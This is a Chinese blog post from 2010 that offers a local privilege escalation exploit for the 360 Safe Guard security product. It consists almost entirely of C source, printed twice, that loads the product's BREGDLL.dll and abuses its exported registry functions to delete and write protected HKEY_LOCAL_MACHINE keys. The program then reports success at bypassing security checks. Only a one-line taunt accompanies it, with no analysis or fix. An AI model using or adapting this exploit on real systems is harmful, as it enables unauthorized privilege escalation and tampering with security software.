360安全卫士本地提权漏洞利用程序

2010年02月02日 | category

360看来也不是他说的那么安全嘛！

利用代码：

#include &lt;windows.h&gt;

typedef BOOL (WINAPI *INIT_REG_ENGINE)();
typedef LONG (WINAPI *BREG_DELETE_KEY)(HKEY hKey, LPCSTR lpSubKey);
typedef LONG (WINAPI *BREG_OPEN_KEY)(HKEY hKey, LPCSTR lpSubKey, PHKEY phkResult);
typedef LONG (WINAPI *BREG_CLOSE_KEY)(HKEY hKey);
typedef LONG (WINAPI *REG_SET_VALUE_EX)(HKEY hKey, LPCSTR lpValueName, DWORD Reserved, DWORD dwType, const BYTE* lpData, DWORD cbData);

BREG_DELETE_KEY BRegDeleteKey = NULL;
BREG_OPEN_KEY BRegOpenKey = NULL;
BREG_CLOSE_KEY BRegCloseKey = NULL;
REG_SET_VALUE_EX BRegSetValueEx = NULL;

#define AppPath                        "Software\\Microsoft\\Windows\\CurrentVersion\\App Paths\\360safe.exe"

#define TestDeleteKey             HKEY_LOCAL_MACHINE
#define TestDeleteRegPath    "Software\\360Safe\\Update"

#define TestSetKey                   HKEY_LOCAL_MACHINE
#define TestSetPath                  "Software\\360Safe"

BOOL InitBRegDll()
{
         LONG lResult;
         HKEY hKey;

         CHAR cPath[MAX_PATH + 32] = { 0 };
         DWORD dwPathLen = MAX_PATH;

         lResult = RegOpenKeyA(HKEY_LOCAL_MACHINE, AppPath, &amp;hKey);
         if (FAILED(lResult))
                  return FALSE;

         DWORD dwType = REG_SZ;
         lResult = RegQueryValueExA(hKey, "Path", NULL, &amp;dwType, (LPBYTE)cPath, &amp;dwPathLen);
         RegCloseKey(hKey);
         if (FAILED(lResult))
                  return FALSE;

         strcat(cPath, "\\deepscan\\BREGDLL.dll");

         HMODULE modBReg = LoadLibraryA(cPath);
         if (!modBReg)
                  return FALSE;

         INIT_REG_ENGINE InitRegEngine = (INIT_REG_ENGINE)GetProcAddress(modBReg, "InitRegEngine");
         BRegDeleteKey = (BREG_DELETE_KEY)GetProcAddress(modBReg, "BRegDeleteKey");
         BRegOpenKey = (BREG_OPEN_KEY)GetProcAddress(modBReg, "BRegOpenKey");
         BRegCloseKey = (BREG_CLOSE_KEY)GetProcAddress(modBReg, "BRegCloseKey");
         BRegSetValueEx = (REG_SET_VALUE_EX)GetProcAddress(modBReg, "BRegSetValueEx");

         if (!InitRegEngine || !BRegDeleteKey || !BRegOpenKey || !BRegCloseKey || !BRegSetValueEx) {
                  FreeLibrary(modBReg);
                  return FALSE;
         }

         if (!InitRegEngine()) {
                  FreeLibrary(modBReg);
                  return FALSE;
         }

         return TRUE;
}

LONG TestSetRegKey()
{
         HKEY hKey;
         LONG lResult;

         lResult = BRegOpenKey(TestSetKey, TestSetPath, &amp;hKey);
         if (FAILED(lResult))
                  return lResult;

         DWORD dwType = REG_SZ;
         static char szData[] = "TEST VALUE";
         lResult = BRegSetValueEx(hKey, TestSetPath, NULL, dwType, (const BYTE *)&amp;szData, (DWORD)sizeof(szData));
         BRegCloseKey(hKey);

         return lResult;
}

int main(int argc, char *argv[])
{
         if (!InitBRegDll()) {
                  MessageBoxA(NULL, "初始化BReg失败!", "失败", MB_ICONSTOP);
                  return 1;

         }
         if (FAILED(BRegDeleteKey(TestDeleteKey, TestDeleteRegPath))) {
                  MessageBoxA(NULL, "键值删除失败!", "失败", MB_ICONSTOP);
                  return 2;

         }

         if (FAILED(TestSetRegKey())) {
                  MessageBoxA(NULL, "设置键值失败!", "失败", MB_ICONSTOP);
                  return 3;
         }

         MessageBoxA(NULL, "突破系统安全检查，获得最高权限，漏洞利用成功!", "成功", MB_OK);
         return 0;
}

100

101

102

#include <windows.h>

typedef BOOL (WINAPI *INIT_REG_ENGINE)();

typedef LONG (WINAPI *BREG_DELETE_KEY)(HKEY hKey, LPCSTR lpSubKey);

typedef LONG (WINAPI *BREG_OPEN_KEY)(HKEY hKey, LPCSTR lpSubKey, PHKEY phkResult);

typedef LONG (WINAPI *BREG_CLOSE_KEY)(HKEY hKey);

typedef LONG (WINAPI *REG_SET_VALUE_EX)(HKEY hKey, LPCSTR lpValueName, DWORD Reserved, DWORD dwType, const BYTE* lpData, DWORD cbData);

BREG_DELETE_KEY BRegDeleteKey = NULL;

BREG_OPEN_KEY BRegOpenKey = NULL;

BREG_CLOSE_KEY BRegCloseKey = NULL;

REG_SET_VALUE_EX BRegSetValueEx = NULL;

#define AppPath "Software\\Microsoft\\Windows\\CurrentVersion\\App Paths\\360safe.exe"

#define TestDeleteKey HKEY_LOCAL_MACHINE

#define TestDeleteRegPath "Software\\360Safe\\Update"

#define TestSetKey HKEY_LOCAL_MACHINE

#define TestSetPath "Software\\360Safe"

BOOL InitBRegDll()

{

LONG lResult;

HKEY hKey;

CHAR cPath[MAX_PATH + 32] = { 0 };

DWORD dwPathLen = MAX_PATH;

lResult = RegOpenKeyA(HKEY_LOCAL_MACHINE, AppPath, &hKey);

if (FAILED(lResult))

return FALSE;

DWORD dwType = REG_SZ;

lResult = RegQueryValueExA(hKey, "Path", NULL, &dwType, (LPBYTE)cPath, &dwPathLen);

RegCloseKey(hKey);

if (FAILED(lResult))

return FALSE;

strcat(cPath, "\\deepscan\\BREGDLL.dll");

HMODULE modBReg = LoadLibraryA(cPath);

if (!modBReg)

return FALSE;

INIT_REG_ENGINE InitRegEngine = (INIT_REG_ENGINE)GetProcAddress(modBReg, "InitRegEngine");

BRegDeleteKey = (BREG_DELETE_KEY)GetProcAddress(modBReg, "BRegDeleteKey");

BRegOpenKey = (BREG_OPEN_KEY)GetProcAddress(modBReg, "BRegOpenKey");

BRegCloseKey = (BREG_CLOSE_KEY)GetProcAddress(modBReg, "BRegCloseKey");

BRegSetValueEx = (REG_SET_VALUE_EX)GetProcAddress(modBReg, "BRegSetValueEx");

if (!InitRegEngine || !BRegDeleteKey || !BRegOpenKey || !BRegCloseKey || !BRegSetValueEx) {

FreeLibrary(modBReg);

return FALSE;

}

if (!InitRegEngine()) {

FreeLibrary(modBReg);

return FALSE;

}

return TRUE;

}

LONG TestSetRegKey()

{

HKEY hKey;

LONG lResult;

lResult = BRegOpenKey(TestSetKey, TestSetPath, &hKey);

if (FAILED(lResult))

return lResult;

DWORD dwType = REG_SZ;

static char szData[] = "TEST VALUE";

lResult = BRegSetValueEx(hKey, TestSetPath, NULL, dwType, (const BYTE *)&szData, (DWORD)sizeof(szData));

BRegCloseKey(hKey);

return lResult;

}

int main(int argc, char *argv[])

{

if (!InitBRegDll()) {

MessageBoxA(NULL, "初始化BReg失败!", "失败", MB_ICONSTOP);

return 1;

}

if (FAILED(BRegDeleteKey(TestDeleteKey, TestDeleteRegPath))) {

MessageBoxA(NULL, "键值删除失败!", "失败", MB_ICONSTOP);

return 2;

}

if (FAILED(TestSetRegKey())) {

MessageBoxA(NULL, "设置键值失败!", "失败", MB_ICONSTOP);

return 3;

}

MessageBoxA(NULL, "突破系统安全检查，获得最高权限，漏洞利用成功!", "成功", MB_OK);

return 0;

}

所属分类: 学习笔记,工具收集
Tags: 360, 利用程序, 提权, 本地, 漏洞

« eWebEditor遍历目录漏洞

Rising AntiVirus 2008/2009/2010 本地权限提升漏洞 »

没有评论

暂无评论

RSS feed for comments on this post.

对不起，该文章的评论被关闭了！

360安全卫士本地提权漏洞利用程序

没有评论

文章分类

热门标签

随机文章

文章归档

Users